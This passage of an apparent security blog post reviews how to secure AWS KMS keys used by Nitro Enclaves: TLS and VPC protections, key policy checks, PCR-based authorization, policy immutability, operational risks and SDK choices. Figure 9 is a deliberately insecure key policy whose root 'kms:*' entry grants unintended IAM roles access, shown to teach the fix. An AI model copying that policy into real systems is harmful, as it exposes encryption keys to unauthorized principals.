<text text-anchor="middle" x="368" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">o</text>
<text text-anchor="middle" x="376" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">m</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">s</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="408" y="148" fill="currentColor">_</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">u</text>
<text text-anchor="middle" x="432" y="148" fill="currentColor">b</text>
<text text-anchor="middle" x="440" y="148" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="456" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="464" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>

</div>
 <figcaption><span>Figure 8: Active attacks on CMK and DK.</span></figcaption>
 </figure>
<p>These vulnerabilities are basically unsolvable without a secure communication channel. Therefore,
TLS initiated inside the enclave is required if active attacks are in scope. For the
enclave-initiated TLS solution to be secure, the enclave’s CA set must be limited; ideally, the KMS’
CA certificate (Amazon’s) is attested and pinned.</p>
<p>With this setup, the active attacker threat may be considered prevented. Note that having a secure
communication channel implicitly prevents some of the possible vulnerabilities described in the
“passive attacks” section.</p>
<p>KMS terminates TLS outside of HSM (<a href="https://docs.aws.amazon.com/kms/latest/cryptographic-details/internal-communication-security.html">most
likely</a>),
and the attestation’s pubkey encryption is probably done outside of HSM. This makes it impossible to
have an end-to-end TLS channel between enclave and HSM, and AWS insiders may theoretically
constitute an active attacker threat. Your threat model should account for this possibility.</p>
<p>To further protect the communication channel, <a href="https://docs.aws.amazon.com/kms/latest/developerguide/kms-vpc-endpoint.html">VPC can be
used</a>. This ensures
that traffic never leaves AWS infrastructure and generally isolates the parent EC2 at the network
level. Moreover, key policy can <a href="https://docs.aws.amazon.com/kms/latest/developerguide/vpce-policy-condition.html">authorize requests based on the
VPC</a>. This makes
attacks easier to detect in case of stolen IAM credentials; this is valuable even if key access is
authorized via PCRs, as demonstrated in the previous sections.</p>
<h2>KMS policies</h2>
<p>Correctly authorizing access to CMK keys is critical. The list below includes basic checks for your
KMS key policy. <a href="https://docs.aws.amazon.com/kms/latest/developerguide/iam-policies-best-practices.html">AWS’ recommendations for IAM
policies</a>
provides more generic advice.</p>
<ul>
<li> Configured KMS policy authorizes enclaves in a reasonable way.
<ul>
<li> No unexpected IAM roles have or can get access.</li>
<li> PCR0 is used for authorization. PCRs 1-2 are used for defense in depth. Alternatively, PCR8
is used.</li>
<li> Principal for <code>RecipientAttestation</code> is not a wildcard.</li>
<li> PCR3 is used to restrict by EC2 IAM role.</li>
<li> <a href="https://docs.aws.amazon.com/kms/latest/developerguide/conditions-kms.html#conditions-kms-encryption-context"><code>kms:EncryptionContext</code></a>
condition is used when relevant.</li>
</ul>
</li>
<li> For critical key operations (e.g., deletion) the policy requires MFA.</li>
<li> TLS and VPC restrictions are considered.</li>
<li> For end-to-end security, the clients can verify that the enclave uses correct and properly
secured KMS keys.
<ul>
<li> Immutable key policies are likely not possible, and clients must be aware of this.</li>
</ul>
</li>
</ul>
<p>Of course, the exact CMK policy setup is business-dependent. Generally, you should ensure that the
key can be managed only by the expected IAM principal, and the principal doesn’t have access to
<code>Decrypt</code> operation (and possibly others like <code>GenDataKeys</code> and <code>Encrypt</code>).</p>
<p>The figure below shows an interesting example of a vulnerable key policy that violates the “only
expected IAM principal” check. One may assume that only the root user and the enclave can operate on
the key, but this is incorrect: the first policy entry grants full access to any IAM role that has
access to the key configured in the role’s policy. The fix is to use a specific IAM user or role
instead of root or to add an explicit deny statement for non-root users.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Sid"</span><span class="p">:</span> <span class="s2">"Enable IAM User Permissions"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Effect"</span><span class="p">:</span> <span class="s2">"Allow"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Principal"</span><span class="p">:</span> <span class="p">{</span> <span class="nt">"AWS"</span><span class="p">:</span> <span class="s2">"arn:aws:iam::599412696120:root"</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Action"</span><span class="p">:</span> <span class="s2">"kms:*"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Resource"</span><span class="p">:</span> <span class="s2">"*"</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Sid"</span><span class="p">:</span> <span class="s2">"Allow Nitro Enclave KMS operations with PCR0 lock"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Effect"</span><span class="p">:</span> <span class="s2">"Allow"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Principal"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"AWS"</span><span class="p">:</span> <span class="s2">"arn:aws:iam::599412696120:role/NitroEnclaveKMSRole"</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Action"</span><span class="p">:</span> <span class="p">[</span><span class="s2">"kms:Decrypt"</span><span class="p">,</span> <span class="s2">"kms:GenerateDataKey"</span><span class="p">,</span> <span class="s2">"kms:GenerateDataKeyPair"</span><span class="p">],</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Resource"</span><span class="p">:</span> <span class="s2">"*"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Condition"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"StringEqualsIgnoreCase"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"kms:RecipientAttestation:PCR0"</span><span class="p">:</span> <span class="s2">"00a119d1...0ed55"</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre>
 <figcaption><span>Figure 9: Example policy that is likely to be insecure.</span></figcaption>
</figure>
<p>For the PCRs, you want to use PCR0, as it binds the policy to specific enclave code. Additionally,
using PCRs 1-2 is recommended for the reasons stated in <a href="https://blog.trailofbits.com/2024/09/24/notes-on-aws-nitro-enclaves-attack-surface/">our blog post on the Nitro Enclaves attack
surface</a>. Alternatively, you can use
PCR8, which allows updating the enclave code without needing to update key policy. This allows more
restricted access to key policy modification permission at the cost of managing the signing key.</p>
<p>The <code>Principal</code> field and PCR3 measurement provide further restrictions. <code>Principal</code> is used to
authorize the IAM role used to access KMS, while PCR3 is measured by hypervisor at the time of
attestation request based on EC2 role. The EC2 role can be dynamically changed and should be
considered untrusted from the enclave’s perspective. Yet both <code>Principal</code> and PCR3 can be used to
prevent attackers from running (signed) enclaves on their own EC2 instance (which could make
side-channel attacks easier) and accessing the KMS key.</p>
<p>Access to the key can be further improved with TLS and VPC restrictions. VPC can be enforced with
<code>aws:SourceVpc</code> and similar condition keys. TLS can be enforced with the <code>aws:SecureTransport</code>
condition (although this condition is redundant, as it’s not possible to access the KMS API with
plain HTTP).</p>
<p>As the key has to be manageable by some IAM role (at least to allow key deletion), the
<code>aws:MultiFactorAuthPresent</code> and <code>aws:MultiFactorAuthAge</code> conditions can be used to strengthen the
authorization.</p>
<h2>KMS policy end-to-end verification</h2>
<p>So far, our discussion has focused on how to secure the KMS keys. A much more difficult problem
arises when you want your system to provide end-to-end verifiability to end-users. If enclaves can
be reproducibly built and remotely attested by users, then users likely have to validate that the
KMS keys are properly protected, too. Otherwise, a malicious insider can pass remote attestation
(not modify enclave code), yet use KMS directly with IAM permissions to get full access to the keys.</p>
<p>One solution is to hardcode the hash of the key policy in the enclave, provide full policy along
with enclave’s code to clients, and make the enclave validate the hash against the dynamically
obtained policy before sending attestation-protected requests to the KMS. This requires the enclave
to have <code>kms:GetKeyPolicy</code> and <code>kms:DescribeKey</code> permissions.</p>
<p>This alone doesn’t prevent attacks. A malicious IAM user can dynamically change the policy after the
enclave’s verification. To prevent this, the policy has to be made immutable, which can be achieved
by blocking <code>kms:PutKeyPolicy</code> permission for all users. Note that
<a href="https://docs.aws.amazon.com/cli/latest/reference/kms/put-key-policy.html"><code>--bypass-policy-lockout-safety-check</code>
flag</a> is required to
insert such a statement via CLI.</p>
<figure class="highlight">
 <pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Sid"</span><span class="p">:</span> <span class="s2">"DenyPutKeyPolicyForAll"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Effect"</span><span class="p">:</span> <span class="s2">"Deny"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Principal"</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"AWS"</span><span class="p">:</span> <span class="s2">"*"</span>
</span></span><span class="line"><span class="cl"> <span class="p">},</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Action"</span><span class="p">:</span> <span class="s2">"kms:PutKeyPolicy"</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nt">"Resource"</span><span class="p">:</span> <span class="s2">"*"</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre>
 <figcaption><span>Figure 10: Example policy that prevents key policy changes.</span></figcaption>
</figure>
<p>Locking access by PCR0 and denying all <code>kms:PutKeyPolicy</code> operations makes the system quite
immutable. This has the obvious downside of making updates and bug fixes difficult. As mentioned
earlier, the specific setup must be adjusted based on business requirements.</p>
<p>Note that key owners can always <a href="https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html#:~:text=Reduces%20the%20risk%20of%20the%20KMS%20key%20becoming%20unmanageable">contact AWS support to restore default key
policies</a>.
How AWS authenticates such requests <a href="https://repost.aws/questions/QUV7ubqz8ETRCOxHSuSH6zDQ/unable-to-delete-kms-customer-managed-key-cmk-using-administratoraccess-role-or-root-login-credentials#ANQjr27vimRP6DEYTiZDgxsw">I do not
know</a>,
but AWS likely won’t check if the key is used in an enclave-enabled setup. This makes a system with
full end-to-end trust hard to implement.</p>
<figure>
<blockquote>
For example, suppose you create a key policy that gives only one user access to the KMS key. If
you then delete that user, the key becomes unmanageable and you must contact AWS Support to regain
access to the KMS key.
</blockquote>
<figcaption><span>Figure 11: Quote from AWS documentation.</span></figcaption>
</figure>
<p>Finally, consider implementing publicly observable and verifiable monitoring and alerting for key
policies. Such a system would alert end users when a policy changes, mitigating the impact of policy
restoration by AWS support. However, we are not aware of any “Certificate Transparency”-style
public, append-only log for KMS key policies that an external party can independently verify.</p>
<h2>Operational concerns</h2>
<p>Even if the system is secure point-in-time, there are operations that must be periodically
performed. These introduce new risks into the system. This checklist covers these concerns:</p>
<ul>
<li> Key rotation and revocation is implemented for CMK.
<ul>
<li> <code>ReEncrypt</code> operation is not used for data keys.</li>
</ul>
</li>
<li> Backups:
<ul>
<li> Risks from CMK destruction are mitigated.</li>
<li> Regional outages are considered.</li>
<li> Data keys are backed up as needed.</li>
</ul>
</li>
<li> Users cannot cause a denial of service or balloon the bill.
<ul>
<li> The number of user-triggered KMS operations is limited.</li>
<li> Request quotas are considered.</li>
<li> Limits on data lengths are respected.</li>
<li> KMS’s clients take into account delays in KMS updates.</li>
</ul>
</li>
</ul>
<p><a href="https://docs.aws.amazon.com/kms/latest/developerguide/rotate-keys.html">AWS provides mechanisms</a> to
easily rotate CMK keys. The only item to note here is that rotating a compromised CMK does not make
data keys protected by it non-decryptable. For a CMK <em>revocation</em>, a more involved approach than
just rotating CMK and destroying data keys must be implemented.</p>
<p>Rotating data keys is hard to implement securely, as the KMS
<a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_ReEncrypt.html"><code>ReEncrypt</code></a> operation does
not support attestations. The system should be designed so that such rotations are not needed.</p>
<p>A malicious actor deleting CMK keys permanently creates a risk of non-recoverable system state. The
system’s design can sometimes be made so that destruction of a single key is recoverable (e.g., by
setting up key hierarchy and using secret sharing). Nevertheless, there should be security controls
in place mitigating the risk. First, configure a <a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_ScheduleKeyDeletion.html">scheduled deletion
period</a> for keys
to a time in which your team can act on an incident. Set up <a href="https://docs.aws.amazon.com/kms/latest/developerguide/deleting-keys-creating-cloudwatch-alarm.html">CloudWatch alarms for KMS
keys</a>
for deletion events, and tighten IAM policies with <a href="https://asecure.cloud/a/scp_kms_delete_keys/">Service Control Policies that prevent KMS key
deletion</a>.</p>
<p>Single-machine disasters in AWS infrastructure are not a concern, as single-region KMS keys are
<a href="https://docs.aws.amazon.com/kms/latest/developerguide/disaster-recovery-resiliency.html">replicated within the
region</a> in
multiple Availability Zones in multiple HSMs. However, if the system must be resilient to a regional
outage, <a href="https://docs.aws.amazon.com/kms/latest/developerguide/multi-region-keys-overview.html">multi-region
keys</a> should
be used instead of single-region keys.</p>
<p>Encrypted data keys backups are a responsibility of the system, not AWS. Note that the <a href="https://docs.aws.amazon.com/kms/latest/developerguide/unusable-kms-keys.html">CMK key may
become unusable in a few
scenarios</a>, and the
data key backup system must account for this.</p>
<p>Yet another set of risks relates to billing. AWS charges dollars per KMS operations and CMK key
maintenance, so the system must not let end-users make the enclaves send arbitrary many requests to
KMS. When implementing rate-limits, <a href="https://docs.aws.amazon.com/kms/latest/developerguide/requests-per-second.html">KMS
quotas</a> must be
taken into account.</p>
<p>Inputs to KMS have various size limits. For example, plaintexts can be up to 4096 bytes long,
ciphertexts can be up to 6144 bytes long, and key IDs can be up to 2048 bytes long. These limits are
unlikely to be reached with attestation-supported operations, but still should be considered.</p>
<p>Finally, changes to KMS resources <a href="https://docs.aws.amazon.com/kms/latest/developerguide/accessing-kms.html#programming-eventual-consistency">need some time to propagate and
synchronize</a>
inside AWS infrastructure. Your system must expect delays and possible temporary inconsistencies
when requesting KMS.</p>
<h2>Software and SDKs</h2>
<p>Amazon ships a lot of SDKs for various tasks. Among them is
<a href="https://github.com/aws/aws-nitro-enclaves-sdk-c"><code>aws-nitro-enclaves-sdk-c</code></a> that provides tools
and a library for enclaves-KMS communication. Avoid it: this particular SDK is written in C, and we
found it contains vulnerabilities that can be used to exploit enclaves from the parent host.</p>
<p>Rather than using the <code>aws-nitro-enclaves-sdk-c</code>, we recommend a combination of other libraries,
such as the following:</p>
<ul>
<li><a href="https://github.com/aws/aws-nitro-enclaves-nsm-api"><code>aws-nitro-enclaves-nsm-api</code></a> (in Rust) to get
attestation documents</li>
<li><a href="https://docs.aws.amazon.com/boto3/latest/reference/services/kms.html"><code>KMS.Client</code> from Boto3</a>
(in Python) to communicate with KMS</li>
<li>Any cryptographic library to parse and decrypt responses</li>
</ul>
<h2>Final notes</h2>
<p>Many issues can arise from misusing the KMS within enclave-secured systems. This blog post does not
even cover all supported operations (<code>GenerateDataKeyPair</code>, <code>DeriveSharedSecret</code>), possible
vulnerabilities (key reuse, key wearout, forward secrecy, nonce management, …) and system features
(custom key stores, multi-region keys, …). Make sure to document your system’s protocol, have a
cryptographer review it, and check the actual implementation against it.</p>
<h2>Appendix A</h2>
<p>Data formats of the <code>CiphertextBlob</code> and <code>CiphertextForRecipient</code> structures are presented below.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 632 361">
 <g transform="translate(8,16)">
<path d="M 248,288 L 248,304" fill="none" stroke="currentColor"></path>
<path d="M 256,280 L 256,296" fill="none" stroke="currentColor"></path>
<circle cx="336" cy="304" r="6" stroke="currentColor" fill="#fff"></circle>
<text text-anchor="middle" x="0" y="4" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="20" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="68" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="84" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="100" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="116" fill="currentColor">[</text>
<text text-anchor="middle" x="0" y="132" fill="currentColor">[</text>
<text text-anchor="middle" x="8" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="8" y="20" fill="currentColor">4</text>
<text text-anchor="middle" x="8" y="68" fill="currentColor">3</text>
<text text-anchor="middle" x="8" y="84" fill="currentColor">3</text>
<text text-anchor="middle" x="8" y="100" fill="currentColor">3</text>
<text text-anchor="middle" x="8" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="8" y="132" fill="currentColor">5</text>
<text text-anchor="middle" x="16" y="4" fill="currentColor">:</text>
<text text-anchor="middle" x="16" y="20" fill="currentColor">:</text>
<text text-anchor="middle" x="16" y="68" fill="currentColor">6</text>
<text text-anchor="middle" x="16" y="84" fill="currentColor">7</text>
<text text-anchor="middle" x="16" y="100" fill="currentColor">8</text>
<text text-anchor="middle" x="16" y="116" fill="currentColor">4</text>
<text text-anchor="middle" x="16" y="132" fill="currentColor">8</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">4</text>
<text text-anchor="middle" x="24" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="24" y="68" fill="currentColor">]</text>
<text text-anchor="middle" x="24" y="84" fill="currentColor">]</text>
<text text-anchor="middle" x="24" y="100" fill="currentColor">:</text>
<text text-anchor="middle" x="24" y="116" fill="currentColor">:</text>
<text text-anchor="middle" x="24" y="132" fill="currentColor">:</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">]</text>
<text text-anchor="middle" x="32" y="20" fill="currentColor">6</text>
<text text-anchor="middle" x="32" y="100" fill="currentColor">5</text>
<text text-anchor="middle" x="32" y="116" fill="currentColor">5</text>
<text text-anchor="middle" x="32" y="132" fill="currentColor">]</text>
<text text-anchor="middle" x="40" y="20" fill="currentColor">]</text>
<text text-anchor="middle" x="40" y="100" fill="currentColor">4</text>
<text text-anchor="middle" x="40" y="116" fill="currentColor">8</text>
<text text-anchor="middle" x="48" y="100" fill="currentColor">]</text>
<text text-anchor="middle" x="48" y="116" fill="currentColor">]</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">V</text>
<text text-anchor="middle" x="64" y="20" fill="currentColor">H</text>
<text text-anchor="middle" x="64" y="68" fill="currentColor">A</text>
<text text-anchor="middle" x="64" y="84" fill="currentColor">T</text>
<text text-anchor="middle" x="64" y="100" fill="currentColor">K</text>
<text text-anchor="middle" x="64" y="116" fill="currentColor">C</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="64" y="148" fill="currentColor">O</text>
<text text-anchor="middle" x="64" y="164" fill="currentColor">├</text>
<text text-anchor="middle" x="64" y="180" fill="currentColor">└</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="20" fill="currentColor">B</text>
<text text-anchor="middle" x="72" y="68" fill="currentColor">l</text>
<text text-anchor="middle" x="72" y="84" fill="currentColor">y</text>
<text text-anchor="middle" x="72" y="100" fill="currentColor">D</text>
<text text-anchor="middle" x="72" y="116" fill="currentColor">M</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">M</text>
<text text-anchor="middle" x="72" y="148" fill="currentColor">I</text>
<text text-anchor="middle" x="72" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="72" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="80" y="20" fill="currentColor">K</text>
<text text-anchor="middle" x="80" y="68" fill="currentColor">g</text>
<text text-anchor="middle" x="80" y="84" fill="currentColor">p</text>
<text text-anchor="middle" x="80" y="100" fill="currentColor">F</text>
<text text-anchor="middle" x="80" y="116" fill="currentColor">S</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">S</text>
<text text-anchor="middle" x="80" y="148" fill="currentColor">D</text>
<text text-anchor="middle" x="80" y="164" fill="currentColor">─</text>
<text text-anchor="middle" x="80" y="180" fill="currentColor">─</text>
<text text-anchor="middle" x="88" y="4" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="20" fill="currentColor">I</text>
<text text-anchor="middle" x="88" y="68" fill="currentColor">I</text>
<text text-anchor="middle" x="88" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="4" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="20" fill="currentColor">D</text>
<text text-anchor="middle" x="96" y="68" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="84" fill="currentColor">F</text>
<text text-anchor="middle" x="96" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="96" y="116" fill="currentColor">l</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="96" y="164" fill="currentColor">v</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="96" y="196" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="228" fill="currentColor">├</text>
<text text-anchor="middle" x="96" y="244" fill="currentColor">│</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">│</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">└</text>
<text text-anchor="middle" x="104" y="4" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="84" fill="currentColor">l</text>
<text text-anchor="middle" x="104" y="100" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="104" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="196" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="228" fill="currentColor">─</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="112" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="148" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="196" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="228" fill="currentColor">─</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">─</text>
<text text-anchor="middle" x="120" y="84" fill="currentColor">g</text>
<text text-anchor="middle" x="120" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="120" y="116" fill="currentColor">g</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="120" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="120" y="164" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="180" fill="currentColor">r</text>
<text text-anchor="middle" x="128" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="128" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="116" fill="currentColor">t</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="148" fill="currentColor">8</text>
<text text-anchor="middle" x="128" y="164" fill="currentColor">i</text>
<text text-anchor="middle" x="128" y="180" fill="currentColor">y</text>
<text text-anchor="middle" x="128" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="228" fill="currentColor">G</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">├</text>
<text text-anchor="middle" x="128" y="260" fill="currentColor">└</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">[</text>
<text text-anchor="middle" x="128" y="292" fill="currentColor">└</text>
<text text-anchor="middle" x="136" y="116" fill="currentColor">h</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="136" y="164" fill="currentColor">o</text>
<text text-anchor="middle" x="136" y="180" fill="currentColor">p</text>
<text text-anchor="middle" x="136" y="196" fill="currentColor">o</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">l</text>
<text text-anchor="middle" x="136" y="228" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">─</text>
<text text-anchor="middle" x="136" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">0</text>
<text text-anchor="middle" x="136" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="144" y="100" fill="currentColor">N</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="148" fill="currentColor">0</text>
<text text-anchor="middle" x="144" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="144" y="196" fill="currentColor">n</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">g</text>
<text text-anchor="middle" x="144" y="228" fill="currentColor">M</text>
<text text-anchor="middle" x="144" y="244" fill="currentColor">─</text>
<text text-anchor="middle" x="144" y="260" fill="currentColor">─</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">]</text>
<text text-anchor="middle" x="144" y="292" fill="currentColor">─</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="152" y="164" fill="currentColor">:</text>
<text text-anchor="middle" x="152" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="228" fill="currentColor">P</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="160" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="160" y="228" fill="currentColor">a</text>
<text text-anchor="middle" x="160" y="244" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="260" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">I</text>
<text text-anchor="middle" x="160" y="292" fill="currentColor">c</text>
<text text-anchor="middle" x="160" y="308" fill="currentColor">(</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">D</text>
<text text-anchor="middle" x="168" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="168" y="164" fill="currentColor">0</text>
<text text-anchor="middle" x="168" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="196" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="228" fill="currentColor">r</text>
<text text-anchor="middle" x="168" y="244" fill="currentColor">V</text>
<text text-anchor="middle" x="168" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">M</text>
<text text-anchor="middle" x="168" y="292" fill="currentColor">i</text>
<text text-anchor="middle" x="168" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">.</text>
<text text-anchor="middle" x="168" y="340" fill="currentColor">.</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="148" fill="currentColor">3</text>
<text text-anchor="middle" x="176" y="180" fill="currentColor">o</text>
<text text-anchor="middle" x="176" y="196" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="228" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="244" fill="currentColor">:</text>
<text text-anchor="middle" x="176" y="260" fill="currentColor">V</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="176" y="292" fill="currentColor">p</text>
<text text-anchor="middle" x="176" y="308" fill="currentColor">l</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">g</text>
<text text-anchor="middle" x="176" y="340" fill="currentColor">g</text>
<text text-anchor="middle" x="184" y="4" fill="currentColor">0</text>
